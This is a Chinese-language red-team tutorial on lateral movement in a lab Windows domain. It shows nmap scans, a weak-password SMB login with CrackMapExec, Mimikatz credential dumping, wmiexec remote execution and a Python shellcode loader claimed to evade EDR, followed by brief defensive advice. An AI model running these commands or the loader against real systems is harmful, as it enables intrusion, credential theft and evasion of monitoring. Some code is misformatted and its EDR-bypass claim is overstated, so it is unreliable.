一、从一个真实的APT事件说起
2017年,知名安全公司FireEye披露了一起针对某国政府机构的APT攻击事件。攻击者通过鱼叉式钓鱼邮件成功获取了内网入口,并在目标内网中横向移动,最终窃取了大量涉密文档。据分析,这次攻击的核心技术点在于利用了内网中的常见漏洞和弱密码进行横向移动,并且对流量进行了巧妙伪装,绕过了多层防御。
作为一名红队成员,我常常思考:如果我是攻击者,我会如何在内网中高效地进行横向移动?在本文中,我将结合真实案例,介绍内网渗透横向移动的关键技术点、实战技巧以及如何通过代码实现攻击链的各个环节。

---
二、横向移动的攻防本质

横向移动是指攻击者在进入内网后,通过各种技术手段从一个系统跳转到另一个系统,逐步扩大控制范围,最终实现对内网的全面掌控。在这个过程中,攻击者通常会利用以下几种手段:
1. 常见技术点
- 凭据窃取:窃取明文密码、哈希值甚至Kerberos票据,用于身份冒充。
- 远程命令执行:通过Windows内置工具(如WMIC、PowerShell)或漏洞(如SMBGhost)直接远程执行命令。
- 弱口令攻击:SSH、RDP等服务的弱密码往往是突破的关键点。
- 文件共享劫持:恶意DLL植入,通过网络共享目录传播。
2. 攻击流程思维
横向移动并不是盲目行动,而是基于情报的精准打击。一个常见的攻击链如下:
- 信息收集:扫描网络拓扑,了解存活主机和开放服务。
- 凭据获取:提取NTLM哈希、明文密码或票据。
- 移动执行:使用凭据或漏洞在目标机器上执行命令。
- 数据回收:将敏感数据收集并发送到攻击者的C2服务器。
下面,我们通过一个环境模拟,实战演示如何完成这一攻击链。
---
三、搭建实验环境
在任何攻击实验之前,环境搭建是必不可少的。我们将构建一个简单的Windows内网环境,用于演示横向移动的技巧。
1. 实验拓扑
- 攻击机:Kali Linux,IP:192.168.1.100
- 目标机1:Windows Server 2019,IP:192.168.1.101
- 目标机2:Windows 10,IP:192.168.1.102
- 域控制器:Windows Server 2019,IP:192.168.1.200,域名:test.local
2. 必要的软件
- Kali Linux 安装
Impacket、CrackMapExec和Responder工具。 - 目标机安装
Metasploit的Handler用于监听反向Shell。
实验环境搭建完成后,我们进入实战演示环节。
---
四、从信息收集到初始突破
1. 网络扫描与主机信息收集
首先,我们对目标内网进行扫描,收集存活主机和开放端口的信息。使用 nmap 工具:
<pre><code class="language-bash">nmap -sP 192.168.1.0/24</code></pre>

接着对发现的存活主机进行端口探测:
<pre><code class="language-bash">nmap -sV -p 139,445,3389 192.168.1.101-102</code></pre>
这一步可以帮助我们确认主机是否开放了SMB和RDP服务。
2. 初始突破:利用SMB弱口令
使用 CrackMapExec 尝试默认凭据攻击:
<pre><code class="language-bash">crackmapexec smb 192.168.1.101 -u administrator -p admin123</code></pre>
如果成功,我们可以获取目标机的访问权限。
---
五、凭据窃取与横向移动
1. 窃取凭据
假设我们已经在目标机1上获取了一个反向Shell,可以使用 mimikatz 提取LSASS内存中的明文密码:
<pre><code class="language-powershell">Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'</code></pre>
将提取到的密码记录下来,用于后续的横向移动。
2. 横向移动到目标机2
利用我们刚刚收集到的密码,使用 wmiexec.py 工具在目标机2上执行命令:
<pre><code class="language-bash">python3 /opt/impacket/examples/wmiexec.py test.local/administrator:[email protected] "ipconfig"</code></pre>
成功执行命令后,我们可以进一步植入后门,例如上传Metasploit的反向Shell。
---
六、绕过EDR的免杀技巧
在横向移动的过程中,绕过目标机上的EDR(终端检测与响应)系统是关键。这里分享一种免杀加载器的实现方式,使用Python和C语言配合。
1. 编写Python加载器
以下代码将一个恶意的Shellcode加载到目标内存中执行:
<pre><code class="language-python">import ctypes
恶意Shellcode写在这里
shellcode = b"\x90\x90\x90..."
分配内存并设置执行权限
ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
调用Shellcode
ht = ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)</code></pre>
将此代码编译为EXE文件并配合混淆技术即可绕过大部分EDR检测。
---
七、如何防御这样复杂的攻击
- 强化凭据管理:启用双因素认证,定期更换高强度密码。
- 监控网络流量:引入流量分析系统,检测异常的横向移动行为。
- 加强EDR能力:采用行为分析和内存扫描技术,发现免杀工具。
- 禁用未使用的服务:关闭SMB、RDP等不必要的高危端口。
---

八、红队经验分享
在红队行动中,横向移动并不是最终目标,而是为更大范围的内网控制铺路。以下是我的一些经验总结:
- 情报是关键:横向移动前必须充分收集目标网络的结构与配置。
- 工具选择需谨慎:尽量使用自开发工具,避免被EDR轻易识别。
- 隐蔽性优先:流量伪装和免杀技术是成功的核心。
只有不断实践与总结,才能在红队工作中真正做到“攻防兼备”。